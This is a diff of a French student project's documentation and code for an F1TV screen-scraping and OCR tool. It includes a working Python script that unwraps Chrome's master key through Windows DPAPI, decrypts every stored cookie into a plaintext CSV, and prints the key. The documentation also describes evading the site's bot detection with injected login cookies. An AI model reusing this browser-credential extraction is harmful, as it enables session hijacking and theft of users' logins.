+                    result.CurrentTyre = (Tyre)(w as DriverTyresWindow).DecodePng();
+            }
+            return result;
+        }
+        public virtual Bitmap Draw()
+        {
+            Bitmap img;
+
+            //If its the main zone we want to see everything
+            if (Zones.Count > 0)
+            {
+                img = Image;
+            }
+            else
+            {
+                img = ZoneImage;
+            }
+
+            Graphics g = Graphics.FromImage(img);
+
+            //If its the main zone we need to visualize the Zone bounds displayed
+            if (Zones.Count > 0)
+                g.DrawRectangle(new Pen(new SolidBrush(Color.FromArgb(249,194,46)), 5), Bounds);
+
+            foreach (Zone z in Zones)
+            {
+                Rectangle newBounds = new Rectangle(z.Bounds.X, z.Bounds.Y + Bounds.Y, z.Bounds.Width, z.Bounds.Height);
+                g.DrawRectangle(new Pen(new SolidBrush(Color.FromArgb(249, 194, 46)), 5), newBounds);
+            }
+            foreach (Window w in Windows)
+            {
+                g.DrawRectangle(new Pen(new SolidBrush(Color.FromArgb(252, 252, 252)), 5), w.Bounds);
+            }
+            return img;
+        }
+        public void ResetZones()
+        {
+            Zones.Clear();
+        }
+        public void ResetWindows()
+        {
+            foreach (Zone z in Zones)
+            {
+                z.ResetWindows();
+            }
+            Windows.Clear();
+        }
+        /// <summary>
+        /// Checks if the given Rectangle fits in the current zone
+        /// </summary>
+        /// <param name="InputRectangle">The Rectangle you want to check the fittment</param>
+        /// <returns></returns>
+        protected bool Fits(Rectangle inputRectangle)
+        {
+            if (inputRectangle.X + inputRectangle.Width > Bounds.Width || inputRectangle.Y + inputRectangle.Height > Bounds.Height || inputRectangle.X < 0 || inputRectangle.Y < 0)
+            {
+                return false;
+            }
+            else
+            {
+                return true;
+            }
+        }
+    }
+}
+
  • - - DriverGapToLeaderWindow.cs - -
    • -
  • - - DriverPositionWindow.cs - -
    • -
  • - - F1TVEmulator.cs - -
    • -
  • - - Program.cs - -
    • -
  • - - Window.cs - -
    • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
    • +
  • + + DriverNameWindow.cs
  • @@ -175,13 +155,28 @@
  • + + F1TVEmulator.cs + +
    • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
    • +
  • + + Settings.Designer.cs + +
    • +
  • + + SqliteStorage.cs
  • @@ -190,13 +185,23 @@
  • + + DataWrapper.cs + +
    • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
    • +
  • + + DriverPositionWindow.cs
  • @@ -210,10 +215,20 @@
  • + + Reader.cs + +
    • +
  • Settings.cs
    • +
  • + + Window.cs + +
  • @@ -239,98 +254,97 @@

    recoverCookiesCSV.py

    -
    # Rohmer Maxime
-# RecoverCookies.py
-# Little script that recovers the cookies stored in the chrome sqlite database and then decrypts them using the key stored in the chrome files
-# This script has been created to be used by an other programm or for the data to not be used directly. This is why it stores all the decoded cookies in a csv. (Btw could be smart for the end programm to delete the csv after using it)
-# Parts of this cript have been created with the help of ChatGPT
-
-import os
-import json
-import base64
-import sqlite3
-import win32crypt
-from Cryptodome.Cipher import AES
-from pathlib import Path
-import csv
-
-def get_master_key():
-    with open(
-        os.getenv("localappdata") + "\\Google\\Chrome\\User Data\\Local State", "r"
-    ) as f:
-        local_state = f.read()
-        local_state = json.loads(local_state)
-    master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
-    master_key = master_key[5:]  # removing DPAPI
-    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
-    print("MASTER KEY :")
-    print(master_key)
-    print(len(master_key))
-    return master_key
-
-def decrypt_payload(cipher, payload):
-    return cipher.decrypt(payload)
-
-def generate_cipher(aes_key, iv):
-    return AES.new(aes_key, AES.MODE_GCM, iv)
-
-def decrypt_password(buff, master_key):
-    try:
-        iv = buff[3:15]
-        payload = buff[15:]
-        cipher = generate_cipher(master_key, iv)
-        decrypted_pass = decrypt_payload(cipher, payload)
-        decrypted_pass = decrypted_pass[:-16].decode()  # remove suffix bytes
-        return decrypted_pass
-    except Exception:
-        # print("Probably saved password from Chrome version older than v80\n")
-        # print(str(e))
-        return "Chrome < 80"
-
-
-master_key = get_master_key()
-
-cookies_path = Path(
-    os.getenv("localappdata") + "\\Google\\Chrome\\User Data\\Default\\Network\\Cookies"
-)
-
-if not cookies_path.exists():
-    raise ValueError("Cookies file not found")
-
-with sqlite3.connect(cookies_path) as connection:
-    connection.row_factory = sqlite3.Row
-    cursor = connection.cursor()
-    cursor.execute("SELECT * FROM cookies")
-
-    with open('cookies.csv', 'a', newline='') as csvfile:
-        fieldnames = ['host_key', 'name', 'value', 'path', 'expires_utc', 'is_secure', 'is_httponly']
-        writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
-
-        if csvfile.tell() == 0:
-            writer.writeheader()
-
-        for row in cursor.fetchall():
-            decrypted_value = decrypt_password(row["encrypted_value"], master_key)
-            writer.writerow({
-                'host_key': row["host_key"],
-                'name': row["name"],
-                'value': decrypted_value,
-                'path': row["path"],
-                'expires_utc': row["expires_utc"],
-                'is_secure': row["is_secure"],
-                'is_httponly': row["is_httponly"]
-            })
-
-print("Finished CSV")
-
-
    +
    # Rohmer Maxime
+# RecoverCookies.py
+# Little script that recovers the cookies stored in the chrome sqlite database and then decrypts them using the key stored in the chrome files
+# This script has been created to be used by an other programm or for the data to not be used directly. This is why it stores all the decoded cookies in a csv. (Btw could be smart for the end programm to delete the csv after using it)
+# Parts of this cript have been created with the help of ChatGPT
+
+import os
+import json
+import base64
+import sqlite3
+import win32crypt
+from Cryptodome.Cipher import AES
+from pathlib import Path
+import csv
+
+def get_master_key():
+    with open(
+        os.getenv("localappdata") + "\\Google\\Chrome\\User Data\\Local State", "r"
+    ) as f:
+        local_state = f.read()
+        local_state = json.loads(local_state)
+    master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
+    master_key = master_key[5:]  # removing DPAPI
+    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
+    print("MASTER KEY :")
+    print(master_key)
+    print(len(master_key))
+    return master_key
+
+def decrypt_payload(cipher, payload):
+    return cipher.decrypt(payload)
+
+def generate_cipher(aes_key, iv):
+    return AES.new(aes_key, AES.MODE_GCM, iv)
+
+def decrypt_password(buff, master_key):
+    try:
+        iv = buff[3:15]
+        payload = buff[15:]
+        cipher = generate_cipher(master_key, iv)
+        decrypted_pass = decrypt_payload(cipher, payload)
+        decrypted_pass = decrypted_pass[:-16].decode()  # remove suffix bytes
+        return decrypted_pass
+    except Exception:
+        # print("Probably saved password from Chrome version older than v80\n")
+        # print(str(e))
+        return "Chrome < 80"
+
+
+master_key = get_master_key()
+
+cookies_path = Path(
+    os.getenv("localappdata") + "\\Google\\Chrome\\User Data\\Default\\Network\\Cookies"
+)
+
+if not cookies_path.exists():
+    raise ValueError("Cookies file not found")
+
+with sqlite3.connect(cookies_path) as connection:
+    connection.row_factory = sqlite3.Row
+    cursor = connection.cursor()
+    cursor.execute("SELECT * FROM cookies")
+
+    with open('cookies.csv', 'a', newline='') as csvfile:
+        fieldnames = ['host_key', 'name', 'value', 'path', 'expires_utc', 'is_secure', 'is_httponly']
+        writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
+
+        if csvfile.tell() == 0:
+            writer.writeheader()
+
+        for row in cursor.fetchall():
+            decrypted_value = decrypt_password(row["encrypted_value"], master_key)
+            writer.writerow({
+                'host_key': row["host_key"],
+                'name': row["name"],
+                'value': decrypted_value,
+                'path': row["path"],
+                'expires_utc': row["expires_utc"],
+                'is_secure': row["is_secure"],
+                'is_httponly': row["is_httponly"]
+            })
+
+print("Finished CSV")
+
  • - + OCR
    • @@ -402,24 +518,80 @@
  • - - Interprétation des données + + Traitement des données
  • Stockage des données +
  • Affichage des données +
    • @@ -428,6 +600,25 @@ Tests +
  • @@ -445,6 +636,11 @@
  • + + Utilisation de Chat GPT + +
    • +
  • Améliorations futures @@ -454,6 +650,11 @@ Conclusion
    • +
  • + + Notes de code + +
    • @@ -485,38 +686,18 @@
  • - - DriverGapToLeaderWindow.cs - -
    • -
  • - - DriverPositionWindow.cs - -
    • -
  • - - F1TVEmulator.cs - -
    • -
  • - - Program.cs - -
    • -
  • - - Window.cs - -
    • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
    • +
  • + + DriverNameWindow.cs
  • @@ -525,13 +706,28 @@
  • + + F1TVEmulator.cs + +
    • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
    • +
  • + + Settings.Designer.cs + +
    • +
  • + + SqliteStorage.cs
  • @@ -540,13 +736,23 @@
  • + + DataWrapper.cs + +
    • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
    • +
  • + + DriverPositionWindow.cs
  • @@ -560,11 +766,21 @@
  • + + Reader.cs + +
    • +
  • Settings.cs
  • + + Window.cs + +
    • +
  • recoverCookiesCSV.py @@ -785,6 +1001,83 @@
  • - + OCR
    • @@ -871,24 +1203,80 @@
  • - - Interprétation des données + + Traitement des données
  • Stockage des données +
  • Affichage des données +
    • @@ -897,6 +1285,25 @@ Tests +
  • @@ -914,6 +1321,11 @@
  • + + Utilisation de Chat GPT + +
    • +
  • Améliorations futures @@ -923,6 +1335,11 @@ Conclusion
    • +
  • + + Notes de code + +
    • @@ -1154,7 +1571,132 @@ La raison la plus probable étant qu'Amazon avec son service AWS propose exactem

    [A remplir au fur et à mesure dans la seconde moitié du travail de diplôme]

    Analyse Organique

    -

    [A remplir au fur et à mesure que les features sont développées]

    +

    Outils utilisés

    +

    [A Remplir]

    +

    Technologies utilisées

    +

    Dans ce projet différents choix ont été faits pour ce qui est des technologies.

    +

    Certaines ont été choisies car elles étaient les plus simples, les plus pratiques, les plus efficaces ou encore les plus connues et donc ayant le meilleur support. Je vais tenter de résumer ici ces choix mais je reviendrai sur la plupart d'entre eux plus tard quand j'explique ce que je fais avec.

    +

    Selenium

    +
    + +
    "Logo de selenium"
    +
    +

    Selenium est une librairie à la base Node JS qui permet d'automatiser des actions sur un navigateur internet. Le but premier et je pense son utilisation première est l'automatisation de tests pour des applications WEB. En effet c'est un super outil pour simuler un user faisant un certain nombre d'actions sans apporter de variabilité ce qui fait de supers test unitaires.

    +

    Cependant je pense que l'autre grande partie des utilisateurs de Selenium l'utilisent pour faire du "Scrapping". Et nous sommes un peu dans cette seconde catégorie. Le "Scrapping" c'est l'acte d'aller récupèrer des informations sur des pages web automatiquement pour alimenter sa propre base de données. En effet, si on arrive à passer les protections anti-bot on peut facilemnt utiliser Selenium pour scraper tous les sites qui nous passent par la tête.

    +

    Le cahier des charges que j'avais en tête en cherchant une technologie de contrôle de navigateur internet était le suivant :

    +
      +
    • Simple
      • +
    • Permettant de contrôler un navigateur Headless (Voir chapitre "Simuler un navigateur ?")
      • +
    • Permettant de contrôler firefox
      • +
    • Ayant un wrapper C#
      • +
    • Permettre de changer certaines choses comme les cookies en Live
      • +
    • Permettre d'interagir avec les éléments d'une page
      • +
    • Fonctionner
      • +
    +

    Simple car je ne voulais pas avoir à passer trop de temps dessus (ca n'a pas bien vieillit lol...). Je voulais que l'on puisse utiliser Firefox car il n'implémente pas les mêmes sécuritées que Chrome pour faire simple. J'avais besoin que la lib puisse contrôler un Firefox HEADLESS car je ne voulais pas avoir une page web ouvert sur mon ordi quand je commente car c'est de l'espace utilisé pour rien. J'avais besoin d'un wrapper C# car c'est le language que j'utilise. Pour finir j'avais besoin d'interragir avec les éléments de la page pour naviguer dessus et d'insèrer des cookies pour me connecter sans avoir à passer par le login de la F1TV qui est très bon pour detecter les bots.

    +

    Avec un cahier des charges parreil beaucoup de librairies ont été abandonnées. J'ai pu tester pleins de librairies C# qui arrivaient à contrôler un Chrome et même pas mal qui arrivaient à contrôler un Chrome Headless. Mais le choix est très vite restreind quand on veut pouvoir contrôler Chrome OU Firefox.

    +

    A la base mon choix c'était porté sur Puppeteer Sharp qui est une librairie qui se veut être exactement ce que je veux.

    +
    + +
    "Logo de Pupeteer"
    +
    +

    Je voulais utiliser cette librairie car il y a des plugins qui sont très orientés scrapping, en effet, ils implémentent de nombreuses techniques pour permettre de mieux passer innapercu par les systèmes de detection de bots.

    +

    Sur le papier c'est la librairie parfaite qui correspond parfaitement au cahier des charges que je m'étais fixé et je pense que si j'utilisais un projet JS elle le serait. Sauf que avec le wrapper C# j'ai eu un certain nombre de problèmes:

    +
      +
    • Toutes les versions de la librairie ne fonctionnaient pas. Il fallait faire des tests avec différentes versions de la librairie et de ses dépendences simplement pour faire démarrer un browser. Et ca c'est quand ca marchait car il y avait des jours ou des machines ou je n'ai simplement pas pu faire fonctionner la librairie.
      • +
    • Même avec les techniques proposées par les plugins "Stealth" je n'arrivais pas à bypass les sécuritées de la page de login de la F1TV. J'ai essayé tout ce que j'ai pu trouver sur internet mais on se fait toujours chopper dès que l'on arrive sur la page.
      • +
    • Et le pire de tout, impossible de faire fonctionner un vidéo. J'ai pu faire tout ce que je voulais faire au final en passant par l'utillisation de cookies pour la connexion. Tout ca pour arriver au moment ou il faut lancer la vidéo, et la, crash. Impossible de faire fonctionner Puppeteer Sharp avec une vidéo. Dès qu'elle se lance c'est un crash assuré sans message d'erreur clair. Et le soucis c'est que le wrapper C# n'est pas vraiment bien supporté et que si c'est un bug de la lib je ne risque pas de voir de fix avant un moment si ce n'est jamais.
      • +
    +

    Pour toutes ces raisons, j'ai du abandonner cette librairie ce qui a été très dur car j'avais passé beaucoup de temps dessus à essayer de la faire marcher.

    +

    Ensuite le choix de Selenium était plutôt simple, c'était la seule option restante. A ce jour je ne connait aucune autre librairie que Puppeteer ou Selenium qui puisse contrôler un Firefox Headless en respectant mon cahier des charges et qui soit donc disponible depuis C#.

    +

    Si je n'arrivais pas à faire fonctionner Selenium j'aurai du abandonner l'idée de simuler un navigateur tout simplement. Mais j'ai eu la chance que cette librairie fasse tout ce que je pouvais demander. C'est une super lib et même si la version C# n'est vraiment pas bien documentée, la plupart des documentations de la version JS sont pertinentes pour al version C# même si ca n'est pas la même syntaxe.

    +

    Pour résumer, j'ai choisis Puppeteer car c'était la seule option viable pour mon besoin.

    +

    (Note : Par contre si je trouve la personne chez mozilla ou puppeteer qui a décidé d'hardcoder la résolution maximale du browser Headless que l'on peut override UNIQUEMENT en changeant les variables d'environnement de la machine ET DE NE LE DOCUMENTER QUASI NULLE PART JE JURE QUE CA VA TRES MAL SE PASSER)

    +

    CSharp

    +
    + +
    "Logo C#"
    +
    +

    Je pense que c'est le choix le plus simple à expliquer. C# est un language de programmation orienté objet relativement haut niveau qui a été créé par Microsoft et qui a comme cible le developpement d'applications pour Windows. (On peut evidemment trouver des adaptations pour le faire tourner sur Linux mais ce n'est pas vraiment le but du language)

    +

    En plus d'être un superbe language de programmation, c'est le language que l'on apprend au CFPT informatique. C'est donc un language avec lequel je suis beaucoup plus à l'aise que pour d'autres languages comme le Python ou le JS.

    +

    Mon but n'était pas de faire une application Web et je travaille sous Windows. Je savais que mon projet allait demander un minimum de programmation orientée objet. J'ai donc immédiattement pensé à utliser C#.

    +

    Cependant j'aurais très bien pu utiliser un language comme python qui m'aurait clairement facilité la tâche avec des librairies bien plus fournies et plus souvent mises à jour. Mais comme je ne suis pas du tout aussi à l'aise avec je pense que le C# était la meilleure option.

    +

    Mes seuls regrets après coup sont que je trouve les Windows Forms très moches et qu'il est particulièrement difficile de les rendres plus jolies et que les librairies disponibles en C# pour des scénarios très précis ne sont pas au niveau de celles pour JS et pour Python.

    +

    Cependant si j'avais à refaire le projet je reprendrais C# je pense.

    +

    Python?

    +
    + +
    "Logo Python"
    +
    +

    Alors ce choix la est plus commpliqué à comprendre.

    +

    Pour tout le projet j'ai tenté de garder le C# comme language et de ne pas utiliser autre chose. Cependant j'ai du utiliser une seule fois le Python dans un cas très précis.

    +

    Je n'aime vraiment pas coder en python de base et clairement j'aurais préfèré ne pas l'utiliser mais je n'avais pas le choix.

    +

    Le besoin dans le cas du python était le suivant :

    +

    J'avais besoin d'un moyen de récupèrer des strings et les décoder avec une clé encodée avec le système propriétaire de windows d'encodage.

    +

    Le soucis que j'avais avec le C# c'est que les methodes de decryption ne fonctionnent pas pareil que en python et tous les exemples que je pouvais trouver étaient en python. J'ai essayé pendant un sacré moment de faire fonctionner la decryption en C# mais sans succès.

    +

    J'ai donc directement utilisé le python comme faisait toutes les personnes que je pouvais voir sur internet et je pense que ca n'est pas une mauvaise idée. En effet, cela veut dire que si à un moment Chrome est mis à jour, je n'aurai pas besoin d'aller ouvrir tout le code source de mon projet pour tout recompiler, j'aurai simplement besoin de changer ce script.

    +

    Un des avantages du Python est quand même qu'il y beaucoup plus de gens qui codent dessus, et pour ce genre d'utilisation très spécifiques c'est plutôt pratique.

    +

    Le seul problème c'est que cela oblige l'utilisateur à avoir python installé sur sa machine et que sa version doit être compatible... (les joies de python)

    +

    Firefox

    +
    + +
    "Logo Firefox Headless"
    +
    +

    J'en parle deja plus bas, mais le choix de navigateur est super important.

    +

    Deja tous les navigateurs n'ont pas un mode Headless(sans tête, mieux expliqué dans la rubrique "Simuler un naviguateur ?"). Par exemple, même si Edge est maintenant basé sur chromium, il n'existe pas de moyen de le faire tourner en Headless pour le moment.

    +

    Autre soucis, les librairies d'automatisation ne supportent pas tous les navigateurs. Par exemple, beaucoup supportent chrome mais très peu supportent Firefox ou Edge.

    +

    Donc il me fallait un navigateur qui puisse opèrer en Headless et qui soit supporté par plusieurs librairies d'automatisation.

    +

    Il n'y a que Firefox et Chrome qui sont conforme à ces exigeances (Je n'ai pas verifié pour TOUS les navigateurs. Peut-être que les Opera GX ont aussi un mode headless super, mais je me suis concentré sur les navigateurs plus grand public).

    +

    Chrome est supporté par plus de lib, mais le soucis c'est que la F1TV utilise un lecteur de vidéo avec DRM (Plus d'infos la dessus dans la partie "Simuler un navigateur?") et donc le choix était simple. Il ne restait que Firefox.

    +

    Tesseract

    +

    Je pense que le choix le plus simple après le C# fut l'utilisation de Tesseract.

    +

    C'est tout simplement l'outil le plus utilisé pour faire de l'OCR. A la base c'est une lib Python (Ah tiens encore ?) qui peut être redoutablement efficace avec le bon dataset.

    +

    Il existe d'autres outils mais j'ai décidé de prendre celui la à cause de son support juste incroyable et de son omniprésence dans la documentation OCR.

    +

    En plus il est facile à utiliser et je ne pense pas encore avoir fait le tour de tout son potentiel dans ce projet.

    +

    Fonctionnement général

    +

    Avant de passer à l'explication de chaques parties du projet en détail, je pense qu'il est important de faire un petit point sur comment toutes les parties du projet s'emboitent et fonctionnement ensemble. Comme ca quand vous lirez l'explication d'une étape vous serez conscient de à quoi elle sert et ou elle s'înscrit dans le projet principal.

    +

    Les briques principales

    +

    Voici trois grosses étapes du projet. Pour rappel ce sont des vulgarisations plutôt larges qui n'ont qu'un seul but, aider à la compréhension de ce qui vient par la suite.

    +
    Recupération d'images
    +
    + +
    "Diagramme simplifié représentant le processus de récupèration des images"
    +
    +

    Pour faire simple on peut voir qu'il y a deux parties à cette étape. La première en partant du haut représente un script python qui va chercher des informations dans la base de données de Chrome qui est en SQLITE. Ces informations dans notre cas sont les cookies de connexion.

    +

    Dans la seconde étape, on peut voir que le programme utilise Selenium avec un navigateur Firefox Headless qui va aller communiquer avec la F1TV qui est le site web qui nous intéresse et que une des infos que l'on récupère est une image de la page en format PNG que l'on envoie au programme C#.

    +

    Ces deux partie sont liées car pour se connecter à la F1TV Selenium a besoin des cookies de connexion récupèrés par le programme Python.

    +

    La première partie est un processus qui n'est utilisé qu'une seule fois au démarrage tandis que la récupération d'images et en continu pendant toute la durée de l'utilisation de l'application.

    +
    OCR
    +
    + +
    "Diagramme simplifié représentant le processur d'OCR"
    +
    +

    ;

    +

    On peut voir dans ce diagramme simplifié qu'avec l'aide de ce que contient le fichier "Config.JSON" on découpe l'image que l'on a récupèré au préalable en petits morceaux qui continennent des informations. Ensuite on prend cette image et on lui applique un filtre pour retirer le flou la couleur etc... Puis en utilisant de l'OCR (Optical Character Recognition) on en récupère les informations sous forme de texte et on le renvoie dans le programme C#

    +

    Dans cette partie explicative générale, on ne reviendra pas sur la création de ce fichier config. Pour plus d'infos à son sujet voir la rubrique (OCR/Fonctionnement général)

    +
    Traitement et affichage
    +
    + +
    "Diagramme simplifié représentant le processus de traitement et d'affichage"
    +
    +

    On peut voir dans ce dernier mini diagramme simplifié que on prend les données que l'on récupèré de l'étape précédente qui ne sont pas forcément toutes cohérentes et qu'on les traite pour leur redonner du sens avant de les stocker dans une base de données SQLITE. Ensuite cette même base de donnée fournis les infos nescessaires pour des affichages (Ces affichages sont directements récupèrés depuis le projet en cours de fonctionnement)

    +

    Résumé du fonctionnement général

    +
    + +
    "Diagramme simplifé représentant le processus général du projet"
    +
    +

    Ce dernier diagramme est un schéma fait pour représenter de la manière la plus simple possible toutes les briques du projet et comment elles s'imbriquent ensemble. +La représentation est un peu différentes des 3 autre diagramme car le but ici est surtout de montrer le chemin que fait la donnée à travers les couches

    +

    Toutes les parties du projet ne sont pas incluses, notamment la partie calibration dans un objectif de simplifier la lecture.

    +

    Dans l'ordre, on peut voir que pour la partie récupèration d'images, le python va récupèrer les cookies dans la base de données chrome pour ensuite les retourner à Selenium.

    +

    Selenium va ensuite pouvoir lancer un navigateur (en l'occurence Firefox) et utiliser les cookies récupèrés pour aller sur la page de la F1TV qui va retourner un certain nombre d'infos à Selenium.

    +

    L'info qui nous intéresse le plus depuis Selenium c'est les images de la page data de la F1Tv et c'est elles que l'on va envoyer dans la partie LOAD du diagramme.

    +

    Dans cette partie on prend l'image de la F1TV et on la decoupe selon les directives données par le fichier Config.JSON (il renseigne les zones à découper et ce qu'elles représentent) et après le découpage on se retrouve avec une zone principale, vingt zones de pilotes et 9 fenêtres de données par zone de pilote donc 180 fenêtres en tout.

    +

    Ces fenêtres sont ensuite envoyées pour être filtrées (retirer le flou, mettre en évidence les caractères, en gros les préparer pour la reconnaissance) dans la partie OCR

    +

    Dans cette partie, après avoir filtré les images, on les envoie à Tesseract pour qu'il nous retourne des résultats d'OCR. Ces résultats sont ce que Tesseract a trouvé sur les image et ils sont retournés sous al forme de Data Pilote. Ex (Position: 1,Tour : 45, Temps au tour : 1:34.683, Pneus: Medium etc....)

    +

    Finalement ces données ont envoyées dans la partie traitement qui va faire des vérifications d'usage pour s'assurer qu'elles sont correctes et quand c'est fait, tout est envoyé dans une base de données SQLITE.

    +

    On ne montre pas non plus dans ce diagramme la parte affichage des données car je ne trouve pas pertinent de l'inclure ici.

    +

    Et voila c'est le fonctionnement très général et simplifié de l'application. Je vous invite à continuer à lire cette documentation pour des informations plus précises à propos de toutes ces étapes. Bonne lecture !

    Récupération des images

    Voici la première grande étape du projet.

    Pour rappel, Amazon héberge directement le site de la F1TV et possède les droits sur les données de la F1. C'est sous le nom de AWS (le service d'hébergement d'Amazon) que la firme apparait en tant que sponsor.

    @@ -1202,7 +1744,11 @@ Je pense donc que c'est justement pour éviter que des petits malins puissent si

    J'ai donc décidé de m'occuper de la seconde option : Simuler un navigateur.

    Cette option bien que complexe et difficile à implémenter propose une solution à tous les problême et permet une récupèration quasi sans compromis.

    Simuler un navigateur ?

    -

    Simuler un navigateur internet n'est pas forcément très difficile. Chromium par exemple offre une panoplie d'outils natifs et énormément de librairies existent permettant de facilement et en quelques lignes simuler un Google Chrome et le contrôler sans afficher son UI.

    +
    + +
    "Navigateur Headless(sans tête)"
    +
    +

    Simuler un navigateur internet n'est pas forcément très difficile. Chromium par exemple offre une panoplie d'outils natifs et énormément de librairies existent permettant de facilement et en quelques lignes simuler un Google Chrome et le contrôler sans afficher son UI (Interface Utilisateur).

    "Chromium logo"
    @@ -1244,10 +1790,12 @@ Je pense donc que c'est justement pour éviter que des petits malins puissent si

    Pour faire toutes ces actions on doit récupèrer les éléments selon leur ID ou leur classe.

    Voici un exemple qui récupère le bouton de plein écran et qui clique dessus :

    -
    IWebElement fullScreenButton = Driver.FindElement(By.ClassName("bmpui-ui-fullscreentogglebutton"));
-fullScreenButton.Click();
-
    +
    IWebElement fullScreenButton = Driver.FindElement(By.ClassName("bmpui-ui-fullscreentogglebutton"));
+fullScreenButton.Click();
+

    Ca peut paraître plutôt simple dit comme ca et quand tout fonctionne ca l'est mais la difficulté vient du fait que à peu près nimporte laquelle de ces étapes peut rater et qu'il faut donc faire un bon système de gestion d'erreurs qui puisse aider l'utilisateur en cas de problème.

    +

    Parfois il est aussi difficile de trouver un élément selon son ID,sa classe, ou sa value.

    +

    Par exemple l'option qui permet de passer en 1080P peut avoir comme value 1080_9011456 ou 1080_9011200 si on refresh la page. Cela demande de passer par des expression régulières ce qui n'est pas compliqué en soi mais c'est toutes ces petites choses qui rendent le processus long à mettre en place.

    Il faut dire aussi que les sites ne sont pas forcément très content de voir des bots passer car cela peut être un risque de DDOS et de Scraping (Comme moi) et donc ils mettent en place des systèmes pour nous empêcher de faire ce que l'on veut

    On peut utiliser différntes techniques pour passer outre ces restrictions comme :

      @@ -1265,16 +1813,416 @@ fullScreenButton.Click();

      J'ai donc été obligé de faire appel à la connexion par Cookies pour pouvoir accèder au reste du site internet.

      Récupèrer les cookies ?

      Alors, on va mettre de côté toutes les questions de sécurité et de violation de la vie privée et de protection des données des utilisateurs pour ce chapitre. Car pour faire simple, je siphonne TOUS les cookies de la persone qui utilise mon app.

      -

      [FINIR CETTE EXPLICATIOn]

      +

      Alors évidemment ca n'est pas pour faire des bétises avec et c'est pour une "bonne" raison, mais bon quand même ca peut faire bizarre comme ca.

      +

      Je pense que vous savez déja ce qu'est un Cookie, mais je vais quand même faire un petit point la dessus car c'est important pour la suite.

      +

      Quand on va sur un site internet et que l'on se connecte avec nos identifiants nous sommes connectés sur la session.

      +

      Cependant, si on quitte le site ou que l'on ferme le navigateur, le site ne peut pas garder en mémoire que c'est bien vous quand le lendemain vous retournez dessus. Pour palier à cette limitation on a inventé cette chose magnifique (hem...) que sont les cookies !

      +

      Les cookies sont des petits fichiers qui sont stockés dans votre navigateur et qui peuvent servir à beaucoup de choses comme traquer votre activité sur internet et espionner un peu ou aussi par exemple, servir de jeton de connexion.

      +

      L'idée est que quand vous vous connectez sur le site avec vos identifiants, le site envoie un petit fichier dans votre navigateur qui va servir de jeton. Et donc quand vous reviendrez, le site pourra voir que vous avez le jeton et vous connectera automatiquement.

      +

      Ca peut paraître génial, et c'est effectivement bien pratique, cependant ce n'est pas sans risques. En effet, imaginons qu'un acteur malveillant parvienne à s'emparer de ces petits fichiers, il pourrait ainsi facilement se faire passer pour vous. Alors un cookie expire à un moment donné pour temperer les risques, mais ils sont toujours présents.

      +

      Dans notre cas on peut vite comprendre pourquoi cela peut être intéressant de récupèrer ces cookies. En effet, si on peut mettre la main sur le jeton de connexion de l'utilisateur de notre application. On pourra se connecter automatiquement à la F1TV et aller prendre des photos directement sans que l'utilisateur aie à faire quoi que ce soit.

      +

      Sauf que les cookies ne sont pas stockés en clair comme ca. Evidemment Google Chrome a mis en place quelques techniques pour éviter que nimporte qui puisse s'amuser à aller taper dans les cookies de la machine.

      +

      Tous les cookies sont stockés dans une base de données sqlite avec les noms en clair et les valeurs sont encryptées en utilisant la methode AES 256 qui est une methode de cryptage très utilisée et efficace.

      +

      Tellement efficace qu'il serait complêtement inutile de tenter de les decrypter en utilisant de la force brute pour trouver la valeur ou même une attaque de dictionnaire ou quoi que ce soit.

      +

      Si ces valeurs peuvent être encodées et décodées en local sur la machine sans connexion internet, cela veut dire que la clé est stockée sur la machine. Et si je peux mettre la mais sur cette clé alors je pourrai lire tous les cookies de la machine.

      +

      Cette clé est stocké dans les fichiers de Google Chrome sous Google\Chrome\User Data\Local State. Et dans ce fichier on peut trouver une liste de données en clé valeurs et on peut trouver la clé sous os_crypt encrypted_key. On pourrait croire que l'on a déja touché le jackpot mais il reste encore une étape. Cette clé est cryptée en utilisant le système d'encryption de Windows. Cette encryption est utilisée pour empêcher des utilisateurs non connectés d'accèder à certaines données. Mais comme nous sommes connectés nous pouvons facilement utiliser les librairies de decryption pour trouver la valeur de cette clé.

      +

      Et à partir de la il suffit d'utiliser cette clé pour décrypter tous les cookies de la machine pour aller chercher ceux qui nous intéressent.

      +

      Voici un exemple du code python qui permet d'aller chercher la clé d'encryption dans les fichiers de Google Chrome :

      +
      def get_master_key():
+    with open(
+        os.getenv("localappdata") + "\\Google\\Chrome\\User Data\\Local State", "r"
+    ) as f:
+        local_state = f.read()
+        local_state = json.loads(local_state)
+    master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
+    master_key = master_key[5:]  # removing DPAPI
+    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
+    print("MASTER KEY :")
+    print(master_key)
+    print(len(master_key))
+    return master_key
+
      +

      Python ?? Et oui j'ai choisit d'utiliser un srypt python pour aller chercher les cookies.

      +

      Ce choix a été fait pour trois raisons :

      +
        +
      1. Le python est un language que je n'aime pas particulièrement mais qui possède un éventail de librairies absolument fantastique. Et pour ce genre de choses qui demandent une constante mise à jour des librairies et qui sont un peu niches le python est une option juste géniale.
        2. +
      2. Comme c'est une des parties qui est le plus suceptible de changer vu que Chrome change relativement souvent le système de stockage des cookies. Dans une optique de facilité de maintenance, avoir un seul fichier qui concerne cette partie du projet et qui est dans un language que plus de gens maitrisent que C# est pratique.
        3. +
      3. Je n'ai pas réussi à trouver de librairies C# qui me donne des résultats identiques à celles que j'utilise dans ce script python.
        4. +
      +

      Pour faire la liaison entre le C# et le python, j'appelle le script depuis mon C# et ensuite le python s'occupe de mettre tous les cookies dans un CSV qui est ensuite lu depuis le C#.

      +

      Voici la partie python qui écrit dans le csv :

      +
      if not cookies_path.exists():
+    raise ValueError("Cookies file not found")
+
+with sqlite3.connect(cookies_path) as connection:
+    connection.row_factory = sqlite3.Row
